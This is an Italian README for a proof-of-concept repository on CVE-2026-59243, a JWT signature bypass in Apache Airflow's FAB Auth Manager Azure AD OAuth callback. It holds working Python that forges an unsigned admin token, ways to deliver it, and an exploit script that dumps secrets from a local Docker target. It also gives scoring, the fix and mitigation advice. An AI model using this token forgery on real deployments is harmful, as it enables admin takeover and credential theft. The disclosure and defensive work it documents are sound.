
Proof-of-concept per CVE-2026-59243 che dimostra il bypass della firma JWT nel callback OAuth di Azure AD di Apache Airflow FAB Auth Manager a causa di un'impostazione predefinita non sicura.
Coreano: README.ko.md
apache-airflow-providers-fab==3.7.3L'FAB (Flask App Builder) Auth Manager di Apache Airflow decodifica gli id_token OAuth di Azure AD in _decode_and_validate_azure_jwt(). Quella funzione aveva verify_signature impostato su False come valore predefinito.
# providers/fab/.../override.py (righe 2331–2341 al momento della segnalazione)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← il valore predefinito è False
)
if verify_signature:
# validazione JWK authlib, restituisce i claims
...
# percorso predefinito: salta completamente la verifica della firma
return jwt.decode(id_token, options={"verify_signature": False})
A meno che un operatore non imposti esplicitamente verify_signature: true in client_kwargs, la verifica della firma è disattivata per l'intero flusso di login. Qualunque token arrivi, i suoi claims vengono accettati come identità del chiamante.
L'integrazione Authentik nello stesso file ha come valore predefinito True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← questo ha come valore predefinito True
)
Stesso file, stessa forma, valore predefinito opposto. Questo contrasto è ciò che per primo mi ha fatto capire che il valore predefinito di Azure non era una scelta di policy.
Supponiamo Airflow distribuito con FAB Auth Manager + OAuth Azure AD, con client_kwargs non modificato. (L'installazione predefinita.)
Forgia un JWT con alg: none e i claims che vuoi:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # punto finale: firma vuota
Consegna quel token al callback OAuth (/login/azure/authorized o ovunque sia montata l'integrazione). Come lo consegni effettivamente varia in base alla distribuzione: MITM attraverso un proxy di terminazione TLS configurato male, un redirector aperto con validazione permissiva di redirect_uri, oppure colpendo direttamente il callback con uno state costruito ad hoc. Scegli quello che il target ti offre.
Nel momento in cui il token raggiunge il callback, FAB chiama _decode_and_validate_azure_jwt, ricade nel percorso predefinito e passa i claims forgiati alla sessione. Poiché hai inviato roles: ["Admin"], ora sei loggato come Admin. Su Airflow questo significa praticamente tutto: Connections, Variables, la chiave Fernet ed esecuzione arbitraria di codice come worker inviando un nuovo DAG.
Tre diverse valutazioni sono finite in tre posti diversi, il che è in realtà informativo:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LmoderatoLa differenza tra il mio e quello di NVD è una metrica: AC. L'ho impostata su H perché pensavo strettamente al percorso di consegna MITM. L'analista di NVD ha scelto AC:L, trattando qualsiasi modo di far arrivare un id_token al callback (incluso il semplice abuso del flusso OAuth) come capacità ordinaria dell'attaccante. Riflettendoci, AC:L è la lettura più difendibile — non devi strettamente essere sul percorso per abusare di un controllo della firma rotto. Ecco perché NVD/Strix arrivano a 9.8, ed è il punteggio che apparirà nella maggior parte dei database CVE e degli scanner.
Il moderato di Apache è una valutazione separata basata sul loro modello di rischio, più orientata a "quanto comunemente si presenta questa precondizione nelle distribuzioni reali" che al massimo dell'impatto. Non è incoerente con 9.8 — risponde solo a una domanda diversa.
Un carattere.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Allinea il valore predefinito di Azure con Authentik. Se qualcuno ha davvero bisogno di disattivare la verifica della firma (ad esempio JWKS auto-firmati su una replica on-prem di Azure AD), può comunque optare con verify_signature: false in client_kwargs. Una forma molto migliore rispetto a distribuire insicuro per impostazione predefinita.
Fuso il 2026-07-07 come PR #69374 / commit 54259ae. Rilasciato in apache-airflow-providers-fab==3.7.3 il 2026-07-28.
Se non puoi aggiornare subito, impostalo esplicitamente in webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Oltre a questo: mantieni i callback OAuth solo-HTTPS con allow-listing rigoroso di redirect_uri e ruota qualsiasi credenziale presente nelle Airflow Connections se hai motivo di pensare di essere stato colpito.
Docker + pwntools in poc/:
poc/server.py isola il percorso vulnerabile (jwt.decode(..., options={"verify_signature": False})) in una piccola app Flask.poc/exploit_airflow_jwt.py forgia il JWT, colpisce il callback e scarica segreti segnaposto dalla vista admin.poc/Dockerfile e poc/docker-compose.yml avviano il target su 127.0.0.1:5002 (bind su loopback).Comando singolo:
cd poc/
./run.sh
Se lo esegui su una macchina condivisa, controlla il bind del compose prima di avviare.
Refactoring non correlati hanno spostato i numeri di riga tra la segnalazione originale e la main attuale. Il percorso del file è invariato.
| Simbolo | Alla segnalazione (2026-03-18) | Nella main corretta (2026-07-29) |
|---|---|---|
_decode_and_validate_azure_jwt() | 2331–2341 (predefinito False, vulnerabile) | 2428–2438 (predefinito True, corretto) |
_get_authentik_token_info() | 414–416 (predefinito True, sicuro) | 419–420 (predefinito True, sicuro) |
File: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py